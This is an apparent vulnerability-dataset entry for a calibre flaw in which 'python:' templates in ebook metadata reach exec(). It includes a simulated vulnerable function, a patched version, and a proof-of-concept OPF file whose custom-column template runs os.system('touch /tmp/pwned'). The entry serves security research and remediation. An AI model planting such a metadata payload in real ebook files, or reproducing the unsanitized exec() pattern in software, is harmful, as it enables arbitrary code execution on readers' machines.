CVE-2026-53511
Calibre RCE via malicious ebook metadata due to unsanitized template.
- CVSS 8.5
- CWE-94
- Input Validation and Sanitization
- Local
calibre is an e-book manager. Prior to 9.10.0, a malicious EPUB, OPF, or PDF file can execute arbitrary Python code when its metadata is read by calibre, including through Add books or Edit books, by embedding a custom column definition with a python: template in calibre:user_metadata that is passed unsanitized to exec() in the template formatter. This issue is fixed in version 9.10.0.
- CWE
- CWE-94
- CVSS base score
- 8.5
- Published
- 2026-07-07
- OWASP
- A03 Injection
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Input Validation and Sanitization
- Subcategory
- Command Injection
- Accessibility scope
- Local
- Impact
- Arbitrary Code Execution
- Affected component
- calibre
- Fixed by upgrading
- Yes
Solution
Upgrade calibre to version 9.10.0 or later.
Vulnerable code sample
import os
def process_metadata_templates(metadata):
"""
This function simulates the vulnerable part of Calibre's template formatter
before version 9.10.0. It unsafely processes 'python:' templates.
"""
user_metadata = metadata.get("calibre:user_metadata", {})
for column_name, column_def in user_metadata.items():
template = column_def.get("template")
if template and template.startswith("python:"):
# VULNERABLE PART: The expression is taken directly from the metadata
# and executed without any sanitization.
expression = template[len("python:"):]
# The exec() call is the core of the vulnerability. A malicious
# user controls the 'expression' string via the book's metadata.
exec(expression, {})
# This dictionary simulates the malicious metadata read from an EPUB/OPF file.
# The payload is designed to be harmless but prove code execution.
malicious_ebook_metadata = {
"title": "A Seemingly Normal Book",
"author": "A. Hacker",
# The custom metadata structure is the vector for the attack.
"calibre:user_metadata": {
"#evil_column": {
"name": "Evil Column",
"template": "python:__import__('os').system('echo VULNERABLE: Code execution successful!')"
}
}
}
# Simulate Calibre's "Add book" or "Edit metadata" functionality
# which would trigger the vulnerable template processing.
process_metadata_templates(malicious_ebook_metadata)Patched code sample
import sys
import io
def evaluate_user_template(template_string: str) -> str:
"""
Safely evaluates a template string from user metadata.
The fix for the vulnerability is to explicitly disallow templates
that start with 'python:', preventing them from being passed to exec().
"""
# --- The Fix ---
# The vulnerability was caused by executing code when the 'python:' prefix
# was found. The fix is to detect this prefix and explicitly refuse
# to process it, treating it as an invalid/disallowed template.
if template_string.strip().startswith('python:'):
# Instead of executing, raise an error or return an empty/error string.
# This prevents the arbitrary code from ever reaching an unsafe function.
raise ValueError("Python-based templates are not allowed from this source.")
# --- End of Fix ---
# For demonstration, a placeholder for safe template processing.
# In a real application, this would use a safe templating engine.
safe_output = f"Safely processed template: '{template_string}'"
return safe_output
if __name__ == '__main__':
# This represents a malicious template embedded in an e-book's metadata.
malicious_template = "python:import os; os.system('echo Vulnerability Exploited!')"
# This represents a normal, safe template.
safe_template = "{title} by {author}"
print("--- Attempting to process malicious template with the FIXED function ---")
try:
evaluate_user_template(malicious_template)
except ValueError as e:
print(f"SUCCESS: The code was NOT executed. The function raised an error as expected:")
print(f" {e}")
print("\n--- Attempting to process a safe template with the FIXED function ---")
try:
result = evaluate_user_template(safe_template)
print("SUCCESS: The safe template was processed correctly.")
print(f" Output: {result}")
except ValueError as e:
print(f"FAILURE: An unexpected error occurred: {e}")Payload
<?xml version='1.0' encoding='utf-8'?>
<package xmlns="http://www.idpf.org/2007/opf" unique-identifier="book_id" version="2.0">
<metadata xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:opf="http://www.idpf.org/2007/opf" xmlns:calibre="http://calibre.kovidgoyal.net/2009/metadata">
<dc:title>PoC</dc:title>
<dc:creator opf:role="aut">pwn</dc:creator>
<dc:identifier id="book_id" opf:scheme="uuid">12345</dc:identifier>
<meta name="calibre:user_metadata:#poc"
content="{"is_multiple": null, "is_multiple2": {}, "colnum": 1, "#extra#": null, "column": "value", "label": "poc", "rec_index": 1, "name": "PoC", "datatype": "text", "is_custom": true, "display": {}, "kind": "field", "search_terms": ["#poc"], "template": "python:__import__('os').system('touch /tmp/pwned')"}"/>
</metadata>
<manifest>
<item id="text" href="text.html" media-type="application/xhtml+xml"/>
</manifest>
<spine>
<itemref idref="text"/>
</spine>
</package>
Cite this entry
@misc{vaitp:cve202653511,
title = {{Calibre RCE via malicious ebook metadata due to unsanitized template.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-53511},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-53511/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
